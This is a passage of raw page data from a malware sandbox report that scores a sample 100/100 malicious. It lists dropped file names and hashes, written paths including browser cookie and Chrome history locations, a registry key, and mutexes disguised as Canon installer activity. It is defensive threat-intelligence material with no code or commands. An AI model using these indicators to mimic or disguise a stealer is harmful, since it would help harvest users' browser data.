tected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"u33s.0.exe","sha256":"1c03534e55f231c41f78ad9a110bc391e2c915daa57f3a6cc115819feaa33047","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"u33s.1.zip","sha256":"a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"nss3_1_.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"mozglue_1_.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"msvcp140_1_.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"softokn3_1_.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"freebl3_1_.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"vcruntime140_1_.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.0.exe","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.1.zip","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.2","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.2\\bunch.dat","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.2\\relay.dll","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.2\\run.exe","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.2\\UIxMarketPlugin.dll","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%TEMP%\\u33s.2\\whale.dbf","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%ALLUSERSPROFILE%\\FBFCFIEBKEGHIDGCAFBFBFHDBA","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\History","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%ALLUSERSPROFILE%\\IDHJEBGIEBFIJKEBFBFH","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%ALLUSERSPROFILE%\\BFIJKEBF","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%ALLUSERSPROFILE%\\CANON_INC_IC\\UNIVERSALINSTALLER\\SERVICELOG","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"path":"%ALLUSERSPROFILE%\\Canon_Inc_IC\\UniversalInstaller\\ServiceLog\\CANON_UIX_SERVICELOG_20240429105305.TXT","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Canon_UIW_Inst_v1","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Canon_UIW_Inst_v1","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}]}},"report_ids":{"sandbox_job_ids":["662f77ac3df623e7050b6d06","662f7767b1aafd0092088e90"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Malware Sample eda9de6005d8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample eda9de6005d8…. Malware family: Malware. Threat score 100/100. 7/26 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/eda9de6005d8b240fcd625ca6e2c2ec385343f2fb88c9d7233892e8302488a9f"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample eda9de6005d8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample eda9de6005d8…. Malware family: Malware. Threat score 100/100. 7/26 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/eda9de6005d8b240fcd625ca6e2c2ec385343f2fb88c9d7233892e8302488a9f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample eda9de6005d8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample eda9de6005d8…. Malware family: Malware. Threat score 100/100. 7/26 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5f","11",{}]]